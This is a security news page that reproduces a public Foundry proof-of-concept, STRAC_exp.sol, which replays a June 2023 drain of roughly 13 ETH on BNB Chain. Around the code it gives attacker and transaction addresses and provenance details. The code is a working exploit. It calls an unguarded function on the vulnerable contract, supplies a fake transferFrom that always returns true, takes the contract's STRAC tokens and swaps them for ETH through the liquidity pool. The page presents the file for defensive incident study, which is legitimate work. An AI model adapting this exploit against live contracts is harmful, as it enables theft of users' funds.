Skip to content
THREATWIRE

Public reproduction file

src/test/2023-06/STRAC_exp.sol

Public reproduction file for dataset entry STRAC.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-06/STRAC_exp.sol53 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4// @KeyInfo - Total Lost : ~13 $ETH
5// Attacker : https://bscscan.com/address/0xc7823188d459e1744c0e5fd58a0e074e92982ea3
6// Attack Contract : https://bscscan.com/address/0xc7823188d459e1744c0e5fd58a0e074e92982ea3
7// Vulnerable Contract : https://bscscan.com/address/0x1f90bdeb5674833868ee9b36707b929024e7a513
8// Attack Tx : https://bscscan.com/tx/0x1147b3c0f3ebdd524c4e58430bb736eba9f7fa522158f5ad81eb3e2394b466d0
9
10import "forge-std/Test.sol";
11import "./../interface.sol";
13contract ContractTest is Test {
14 IERC20 STRAC = IERC20(0x9801DA0AA142749295692c7cb3241E4EE2B80Bda);
15 IERC20 ETH = IERC20(0x2170Ed0880ac9A755fd29B2688956BD959F933F8);
16 IPancakePair ETH_STRAC_LpPool = IPancakePair(0x2976bD3774622367CE7A575D28201480e640966F);
17 IPancakeRouter PancakeRouter = IPancakeRouter(payable(0x3870D09F59564d8b86B052b1FB1e27b961f9BC73));
18 address Contract_0x1f90 = 0x1F90BDeB5674833868EE9b36707B929024E7A513;
20 function setUp() public {
21 vm.createSelectFork("bsc", 29_474_566 - 1);
22 vm.label(address(STRAC), "STRAC");
23 vm.label(address(Contract_0x1f90), "Contract_0x1f90");
24 }
26 function testExploit() public {
27 STRAC.approve(address(PancakeRouter), type(uint256).max);
28 emit log_named_decimal_uint("Attacker ETH balance before attack", ETH.balanceOf(address(this)), 18);
29 Contract_0x1f90.call(
30 abi.encodeWithSelector(bytes4(0x4a75084c), address(this), STRAC, STRAC.balanceOf(address(Contract_0x1f90)))
31 );
32 TOKENToETH();
33 emit log_named_decimal_uint("Attacker ETH balance after attack", ETH.balanceOf(address(this)), 18);
34 }
36 function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
37 return true;
38 }
40 function TOKENToETH() internal {
41 (uint256 reserveETH, uint256 reserveTOKEN,) = ETH_STRAC_LpPool.getReserves();
42 uint256 amountOut;
44 (uint256 reserveETH_after, uint256 reserveTOKEN_after,) = ETH_STRAC_LpPool.getReserves();
46 amountOut = PancakeRouter.getAmountOut(STRAC.balanceOf(address(this)), reserveTOKEN, reserveETH);
47 STRAC.transfer(address(ETH_STRAC_LpPool), STRAC.balanceOf(address(this)));
48 ETH_STRAC_LpPool.swap(amountOut * 997 / 1000, 0, address(this), "");
49 }
51 fallback() external payable {}
52 receive() external payable {}

Analysis

Dataset entry

Public Foundry test for “STRAC” (2023-06-27). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

21 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xc7823188d459e1744c0e5fd58a0e074e92982ea3

  • Attack Contract

    0xc7823188d459e1744c0e5fd58a0e074e92982ea3

  • Vulnerable Contract

    0x1f90bdeb5674833868ee9b36707b929024e7a513

  • Attack Tx

    0x1147b3c0f3ebdd524c4e58430bb736eba9f7fa522158f5ad81eb3e2394b466d0

File record

Name
STRAC
Path
src/test/2023-06/STRAC_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
24e2303bfe4f4e57118c79f885cbb299aacd6629
Language
Solidity
Size
54 lines
Date
2023-06-27
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-06/STRAC_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 24e2303bfe4f4e57118c79f885cbb299aacd6629, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.